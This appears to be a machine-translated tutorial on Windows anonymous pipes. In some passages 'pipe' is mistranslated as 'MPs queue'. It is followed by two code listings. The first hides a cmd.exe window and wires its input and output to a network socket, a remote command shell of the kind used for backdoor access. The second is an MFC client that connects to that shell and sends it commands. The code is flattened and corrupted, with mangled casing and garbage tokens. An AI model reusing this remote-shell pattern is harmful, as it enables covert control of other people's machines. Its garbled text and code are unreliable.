An anonymous pipeline is an unnamed one-way pipeline that is usually used to transmit data between a parent process and a child process. An anonymous pipeline can only implement communication between two processes on the local machine, rather than cross-network communication.
Anonymous Pipeline
An anonymous pipeline is an unnamed one-way pipeline. It is usually used to transmit data between a parent process and a child process. Anonymous pipelines are always local and cannot transmit data between networks.
Anonymous pipeline operation
The createpipe function creates an anonymous pipeline and returns two handles: one read pipeline handle and one write pipeline handle. The read handle has the read-only permission for the pipeline, and the write handle has the write-only permission for the pipeline. To exchange data using pipelines, the pipeline server must pass the pipeline handle to another process. Generally, this is implemented through inheritance (see 1.1.2); that is, the parent process allows the child process to inherit the handle. A process can also use the duplicatehandle function to copy a pipe handle, and then send it to another unrelated process through some inter-process communication mechanisms, such as DDE or shared memory.
The MPs Queue Server can send a read or write handle to the MPs Queue Server, depending on whether the client uses the MPs queue to send data or obtain data. To read data from the MPs queue, call the readfile function with the read handle of the MPs queue as the parameter. When another process writes data to the pipeline, the readfile function returns. If all the write handles of the MPs queue are closed or an error occurs while reading the data, the readfile function also returns the result.
To write data to the MPs queue, call the writefile function by using the write handle of the MPs queue. If the data is completely written to the MPs queue or an error occurs, writefile will return. If the cache of the MPs queue is full and there are still unfinished data, the writefile function will not return until another process reads data from the MPs queue. The cache size is specified when the pipeline server calls the createpipe function.
Anonymous pipelines do not support asynchronous read/write. This means that the readfileex and writefileex functions cannot be used to read and write anonymous pipelines. In addition, the lpoverlapped parameters of the readfile and writefile functions are ignored when anonymous pipelines are used.
The anonymous pipeline will exist until all read/write handles are closed. A process can call the closehandle function to close the pipe handle. When a process is terminated, all MPs queue handles are automatically closed.
Dual-Anonymous pipeline for communication
# Include <windows. h> # include <stdio. h> // write and read int into _shell (socket target) {startupinfo g_ststartup; process_information g_stprocinfo; handle rehandle1, wrhandle1; handle rehandle2, wrhandle2; char enter_key [2] = {0x0d, 0x0a}; // fill in the security_attributes structure security_attributes stsecurity; stsecurity. nlength = sizeof (security_attributes); stsecurity. lpsecuritydescriptor = NULL; stsecurity. binherithandle = true ;/ /Inheritance // create two pipelines createpipe (& rehandle1, & wrhandle1, & stsecurity, 0); createpipe (& rehandle2, & wrhandle2, & stsecurity, 0 ); // fill in the startupinfo structure getstartupinfo (& g_ststartup); response = rehandle1; response = wrhandle2; response = wrhandle2; response = startf_usestdhandles | startf_useshowwindow; response = sw_hide; // create a process CreateProcess to start the console application, if (CREA Teprocess (null, "cmd.exe", null, null, true, normal_priority_class, null, null, & g_ststartup, & g_stprocinfo) {DWORD bytes_read, bytes_write, RET; char Buf [512] = {0}; while (1) {memset (BUF, '\ 0', 512); peeknamedpipe (rehandle2, Buf, 512, & bytes_read, null, null); If (bytes_read! = 0) {ret = readfile (rehandle2, Buf, bytes_read, & bytes_read, null); send (target, Buf, strlen (BUF), 0 ); if (Ret <= 0) {fprintf (stderr, "error on pipe % d", getlasterror (); break ;}} else {bytes_read = Recv (target, Buf, 512,0); printf ("% s", Buf); If (bytes_read <= 0) {fprintf (stderr, "error % d", getlasterror ());} writefile (wrhandle1, Buf, strlen (BUF), & bytes_write, null); writefile (wrhandle1, enter_key, 2, & bytes_write, null); If (strcmp (BUF, "Exit") = 0) {send (target, "Connection closed", 8, 0); break ;}} sleep (10 );} printf ("now closing \ n"); closehandle (g_stprocinfo.hprocess); closehandle (g_stprocinfo.hthread); printf ("now closing PIPE \ n"); Return 0 ;}
Remote Control client to join anonymous pipeline Communication
# Include "stdafx. H "# include" client. H "# include" client DLG. H "# include <Winsock. h> # pragma comment (Lib, "ws2_32") DWORD winapi serverthread (lpvoid lparam); DWORD winapi gothread (lpvoid lparam ); # ifdef _ debug # define new debug_new # UNDEF this_filestatic char this_file [] = _ file __; # endifsocket server, client; sockaddr_in serveraddr; char szgo [64]; //////////////////////////////////////// /////////////////////////////// ///// Caboutdlg Dialog used for app aboutclass caboutdlg: Public cdialog {public: caboutdlg (); // dialog data // {afx_data (caboutdlg) enum {IDD = idd_aboutbox}; //} afx_data // classwizard generated virtual function overrides // {afx_virtual (caboutdlg) protected: Virtual void dodataexchange (cdataexchange * PDX ); // DDX/DDV support //} afx_virtual // implementationprotected: // {afx_msg (caboutdlg) //} afx_m Export ()}; caboutdlg: caboutdlg (): cdialog (caboutdlg: IDD) {// {afx_data_init (caboutdlg) //} afx_data_init} void caboutdlg :: dodataexchange (cdataexchange * PDX) {cdialog: dodataexchange (PDX); // {afx_data_map (caboutdlg) //} afx_data_map} begin_message_map (caboutdlg, cdialog) // {afx_msg_map (caboutdlg) // No message handlers //} afx_msg_mapend_message_map () /////////////////////////////////////// //////////////////////////////////////// Cmydlg dialogcmydlg:: cmydlg (cwnd * pparent/* = NULL */): cdialog (cmydlg: IDD, pparent) {// {afx_data_init (cmydlg) m_ipaddr = _ T (""); m_port = 0; //} afx_data_init // note that loadicon does not require a subsequent destroyicon in win32m_hicon = afxgetapp () -> loadicon (idr_mainframe);} void cmydlg: dodataexchange (cdataexchange * PDX) {cdialog: dodataexchange (PDX); // {afx _ Data_map (cmydlg) ddx_text (PDX, idc_ipaddr, m_ipaddr); ddx_text (PDX, idc_port, m_port); //} afx_data_map} Export (cmydlg, cdialog) // {afx_msg_map (cmydlg) on_wm_syscommand () on_wm_paint () values () on_bn_clicked (idc_connect, onconnect) values (idc_go, ongo) on_bn_clicked (idc_clear, onclear) //} afx_msg_mapend_message_map () //////////////////////////////////////// //////////////////// ////////////// Cmydlg message handlersbool cmydlg: oninitdialog () {cdialog: oninitdialog (); // Add "about... "menu item to system menu. // idm_aboutbox must be in the system command range. assert (idm_aboutbox & 0xfff0) = idm_aboutbox); Assert (idm_aboutbox <0xf000); cmenu * psysmenu = getsystemmenu (false); If (psysmenu! = NULL) {cstring straboutmenu; straboutmenu. loadstring (ids_aboutbox); If (! Straboutmenu. isempty () {psysmenu-> appendmenu (mf_separator); psysmenu-> appendmenu (mf_string, idm_aboutbox, straboutmenu); }}// set the icon for this dialog. the framework does this automatically // when the application's main window is not a dialogseticon (m_hicon, true); // set big iconseticon (m_hicon, false ); // set small icon // initialization library setdlgitemtext (idc_ipaddr, "127.0.0.1"); setdlgitemtext (idc_port, "1234"); U Pdatedata (true); wsadata; WORD = makeword (2, 2); wsastartup (word, & wsadata); Return true; // return true unless you set the focus to a control} void cmydlg: onsyscommand (uint NID, lparam) {If (NID & 0xfff0) = idm_aboutbox) {caboutdlg dlgabout; dlgabout. domodal () ;}else {cdialog: onsyscommand (NID, lparam) ;}// if you add a Minimize button to your dialog, you will need the code below // Draw the icon. for MFC applications using the document/view model, // This is automatically done for you by the framework. void cmydlg: onpaint () {If (isiconic () {cpaintdc (this); // device context for paintingsendmessage (wm_iconerasebkgnd, (wparam) DC. getsafehdc (), 0); // center icon in client rectangleint cxicon = getsystemmetrics (sm_cxicon); int cyicon = getsystemmetrics (sm_cyicon); crect rect; get Clientrect (& rect); int x = (rect. width ()-cxicon + 1)/2; int y = (rect. height ()-cyicon + 1)/2; // draw the icondc. drawicon (X, Y, m_hicon);} else {cdialog: onpaint ();}} // The system callthis to obtain the cursor to display while the user drags // The minimized window. hcursor cmydlg: onquerydragicon () {return (hcursor) m_hicon;} void cmydlg: onconnect () {updatedata (true); createthread (null, null, Serv Erthread, this, null, null);} DWORD winapi serverthread (lpvoid lparam) {cmydlg * pdlg = (cmydlg *) lparam; server = socket (af_inet, sock_stream, ipproto_tcp ); serveraddr. sin_family = af_inet; serveraddr. sin_port = htons (pdlg-> m_port); serveraddr. sin_addr.s_un.s_addr = inet_addr (pdlg-> m_ipaddr); client = connect (server, (sockaddr *) & serveraddr, sizeof (serveraddr); If (client = socket_error) {MessageBox (null, "sorry", "Connection error", mb_ OK); Return-1;} MessageBox (null, "congratulate! "," Connection successful ", mb_ OK); pdlg-> setdlgitemtext (idc_info," connection successful "); char szrecv [1024]; cstring str0, str1; memset (szrecv, ); While (1) {Recv (server, szrecv, 0); pdlg-> getdlgitemtext (idc_read, str1); str0 = szrecv; str0 + = "\ r \ n"; str0 + = str1; pdlg-> setdlgitemtext (idc_read, str0);} return 0;} void cmydlg: ongo () {memset (szgo, 0, 64); getdlgitem (idc_write)-> getwindowtexta (szgo, 64); createthread (null, 0, gothread, this, null, null );} DWORD winapi gothread (lpvoid lparam) {cmydlg * pdlg = (cmydlg *) lparam; char enter_key [2] = {0x0d, 0x0a}; send (server, szgo, sizeof (szgo), 0); If (strcmp (szgo, "exit") = 0) {sleep (100); pdlg-> setdlgitemtext (idc_info, "Not connected"); closesocket (server); closesocket (client); wsacleanup (); exit (0);} return 0;} void cmydlg: onclear () {setdlgitemtext (idc_read ,"");}